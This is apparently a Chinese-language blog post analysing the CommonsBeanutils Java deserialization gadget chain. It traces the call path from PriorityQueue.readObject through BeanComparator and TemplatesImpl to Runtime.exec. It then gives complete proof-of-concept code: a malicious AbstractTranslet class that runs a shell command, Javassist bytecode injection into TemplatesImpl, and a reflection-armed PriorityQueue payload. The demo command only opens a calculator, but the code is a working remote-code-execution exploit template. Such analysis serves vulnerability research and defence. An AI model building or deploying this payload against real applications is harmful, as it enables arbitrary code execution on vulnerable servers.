0%

CommonsBeanutils 反序列化

CommonsBeanutils 反序列化分析

依赖环境

1
2
3
commons-beanutils:1.9.2
commons-collections:3.1
commons-logging:1.2

触发流程

1
2
3
4
5
6
7
8
9
10
11
12
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()

Payload

利用链的前半部分还是一样,通过队列中的元素比较,调用某个类的 compare 方法,这次的换成了 org.apache.commons.beanutils.BeanComparator 类:
image

可以看到如果 this.property 不为空, 则执行 PropertyUtils.getProperty(o1, this.property);,而 this.property 是通过 BeanComparator 的构造函数传入的,在看 PropertyUtils.getProperty 方法:
image

这里跳过了很多步骤,简而言之,该方法就是调用传入对象的传入 getter 方法,按照这里的利用链是 TemplatesImplgetOutputProperties 方法,当然,这2个参数都是能控制的,接下来跟进 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties 方法:
image

这里就执行了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer 方法:
image

接下来就是 getTransletInstance 方法:
image

根据字节码重建自定义类:
image

这里的流程和 Commonscollections2 反序列化一致,加载自定义类实现任意代码执行;

反序列化的原理已经清楚了,现在就要根据原理构造 POC 了。

首先还是创建一个自定义类,带有 EXP 并继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,为啥要继承在 Commonscollections2 里由提到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.study.exp;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class CommonsBeanutilsEXP extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

public CommonsBeanutilsEXP() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("open -a Calculator");
}
}

然后用 javassist 将恶意类通过反射的方法插入到 TemplatesImpl_bytecodes 的变量中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static Object createTemplatesImpl() throws Exception{

return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl( Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}
public static <T> T createTemplatesImpl(Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
setFieldValue(templates, "_bytecodes",new byte[][]{
ClassPool.getDefault().get(CommonsBeanutilsEXP.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

最后实例化 org.apache.commons.beanutils.BeanComparator 并作为 PriorityQueue 的比较器,然后通过反射的方式将构造的 TemplatesImpl 放入 PriorityQueue 的参数即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}



public static void main(String[] args) throws Exception{
final Object templates = createTemplatesImpl();
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));

// switch method called by comparator
setFieldValue(comparator, "property", "outputProperties");



setFieldValue(queue, "queue", new Object[]{templates, templates});

tools.Deserialize(queue);

image